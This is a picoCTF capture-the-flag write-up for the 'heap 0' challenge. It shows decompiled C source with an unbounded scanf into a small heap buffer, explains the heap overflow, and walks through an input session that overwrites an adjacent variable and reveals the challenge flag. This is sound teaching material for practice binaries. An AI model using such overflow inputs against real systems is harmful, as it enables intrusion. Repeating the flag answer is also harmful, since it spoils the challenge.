PicoCTF Writeup - heap 0
PicoCTF Challenge: https://play.picoctf.org/practice/challenge/438?category=6&page=1
heap 0
Author: Abrxs, pr1or1tyQ
Description
Are overflows just a stack concern?
Download the binary here.
Download the source here.
Connect with the challenge instance here:Hints
1st - What part of the heap do you have control over and how far is it from the safe_var?
Resources:
$ nc tethys.picoctf.net 61640Decompile
We can decompile the binary to a pseudo C like this (Binary Ninja):
004011c0 int check_win()
004011c0 {004011c0 if (!strcmp(safe_var, "bico"))004011da {00401210 printf("Looks like everything is still secure!");004011ef printf("\nNo flage for you :(");00401208 return fflush(stdout);004011da }004011da00401210 printf("\nYOU WIN");00401236 char flag[64]; /* 0x40 => 64 */00401236 fgets(&flag, 64, fopen("flag.txt", "r"));0040123e printf(&flag);0040124d fflush(stdout);00401254 exit(0);00401254 /* no return */004011c0 }
/* ... */
004013c0 int main()004013c0 /* int32_t argc => Not used */004013c0 /* char** argv => Not used */004013c0 /* char** envp => Not used */
004013c0 {004013ca int input_buffer;004013d2 printf("\nWelcome to heap0!");004013de printf("I put my data on the heap so it should be safe from any tampering.");004013ea printf("Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.\n");004013fa fflush(stdout);
00401409 input_data = malloc(5);00401410 strncpy(buffer, "pico", 5);0040142b safe_var = malloc(5);0040142b strncpy(buffer2, "bico", 5);
0040143c printf("Heap State:");0040144b printf("+-------------+----------------+");00401457 printf("[*] Address -> Heap Data ");0040145f printf("+-------------+----------------+");0040147a printf("[*] %p -> %s\n", input_data);00401482 printf("+-------------+----------------+");00401496 printf("[*] %p -> %s\n", safe_var);0040149e printf("+-------------+----------------+");004014a7 fflush(stdout);004014a7004014d5 while (true)004014d5 {004014d5 printf(" \n1. Print Heap:\t\t(print the current state of the heap) \n2. Write to buffer:\t(write to your own personal block of data on the heap) \n3. Print safe_var:\t(I'll even let you look at my variable on the heap, I'm confident it can't be modified) \n4. Print Flag:\t\t(Try to print the flag, good luck) \n5. Exit \n \nEnter your choice: ");004014de fflush(stdout);
004014de004014f3 if (scanf("%d", &input_buffer) != 1)004014f3 {00401602 exit(0);00401602 /* no return */004014f3 }004014f3004014fd int choice_int = input_buffer - 1;00401503 char const* const str;0040150300401503 if (choice_int > 4)00401503 {0040158a str = "Invalid choice";00401591 label_401591:00401591 printf(str);004015e2 fflush(stdout);00401503 }00401503 else00401510 switch (choice_int)00401510 {00401519 case 0:00401519 {00401519 printf("Heap State:");00401528 printf("+-------------+----------------+");00401534 printf("[*] Address -> Heap Data ");0040153c printf("+-------------+----------------+");0040155a printf("[*] %p -> %s\n", input_data);00401562 printf("+-------------+----------------+");00401579 printf("[*] %p -> %s\n", safe_var);0040157e str = "+-------------+----------------+";00401588 goto label_401591;00401519 }004015a1 case 1:004015a1 {004015a1 printf("Data for buffer: ");004015aa fflush(stdout);004015bf scanf("%s", &input_data);004015c4 continue;004015a1 }004015d9 case 2:004015d9 {004015d9 printf("\n\nTake a look at my variable: safe_var = %s\n\n", safe_var);004015e2 fflush(stdout);004015e7 continue;004015d9 }004014c8 case 3:004014c8 {004014c8 check_win();004014cd continue;004014c8 }00401510 case 4:00401510 {00401510 break;00401510 break;00401510 }00401510 }004014d5 }004014d5004015fc return 0;004013c0 }This is the full source code (decompiled):
int check_win(){ if (!strcmp(safe_var, "bico")) { printf("Looks like everything is still secure!"); printf("\nNo flage for you :("); return fflush(stdout); }
printf("\nYOU WIN");
char flag[64]; fgets(&flag, 64, fopen("flag.txt", "r")); printf(&flag); fflush(stdout);
exit(0);}
void print_heap_state() { printf("Heap State:"); printf("+-------------+----------------+"); printf("[*] Address -> Heap Data "); printf("+-------------+----------------+"); printf("[*] %p -> %s\n", input_data); printf("+-------------+----------------+"); printf("[*] %p -> %s\n", safe_var); printf("+-------------+----------------+"); fflush(stdout);}
int main(){ int choice;
printf("\nWelcome to heap0!"); printf("I put my data on the heap so it should be safe from any tampering."); printf("Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.\n"); fflush(stdout);
input_data = malloc(5); strncpy(buffer, "pico", 5);
safe_var = malloc(5); strncpy(buffer2, "bico", 5);
print_heap_state();
while (true) { printf(" \n1. Print Heap:\t\t(print the current state of the heap) \n2. Write to buffer:\t(write to your own personal block of data on the heap) \n3. Print safe_var:\t(I'll even let you look at my variable on the heap, I'm confident it can't be modified) \n4. Print Flag:\t\t(Try to print the flag, good luck) \n5. Exit\n \nEnter your choice: "); fflush(stdout);
if (scanf("%d", &choice) != 1) { exit(0); }
if (choice > 5) { printf("Invalid choice"); fflush(stdout); } else switch (choice) { case 1: { print_heap_state(); continue; } case 2: { printf("Data for buffer: "); fflush(stdout); scanf("%s", &input_data); continue; } case 3: { printf("\n\nTake a look at my variable: safe_var = %s\n\n", safe_var); fflush(stdout); continue; } case 4: { check_win(); continue; } case 5: { break; break; } } }
return 0;}Analysis
This program allocates two heap memory variables, input_data and safe_var, using malloc(), and allows the user to modify input_data through input.
However, in this program, a heap overflow is possible through scanf() on the heap memory.
When option 4 (flag output) is executed, the flag is printed if safe_var is not equal to bico. This means that by exploiting a heap overflow in input_data and overwriting the memory location of safe_var, an attacker can tamper with its value and trigger the flag to be displayed.
Enter your choice: 2Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtest
1. Print Heap: (print the current state of the heap)2. Write to buffer: (write to your own personal block of data on the heap)3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)4. Print Flag: (Try to print the flag, good luck)5. Exit
Enter your choice: 1Heap State:+-------------+----------------+[*] Address -> Heap Data+-------------+----------------+[*] 0x5ba80e6932b0 -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtest+-------------+----------------+[*] 0x5ba80e6932d0 -> test+-------------+----------------+
1. Print Heap: (print the current state of the heap)2. Write to buffer: (write to your own personal block of data on the heap)3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)4. Print Flag: (Try to print the flag, good luck)5. Exit
Enter your choice: 3
Take a look at my variable: safe_var = test
1. Print Heap: (print the current state of the heap)2. Write to buffer: (write to your own personal block of data on the heap)3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)4. Print Flag: (Try to print the flag, good luck)5. Exit
Enter your choice: 4
YOU WINpicoCTF{my_first_heap_overflow_1ad0e1a6}The flag is: picoCTF{my_first_heap_overflow_1ad0e1a6}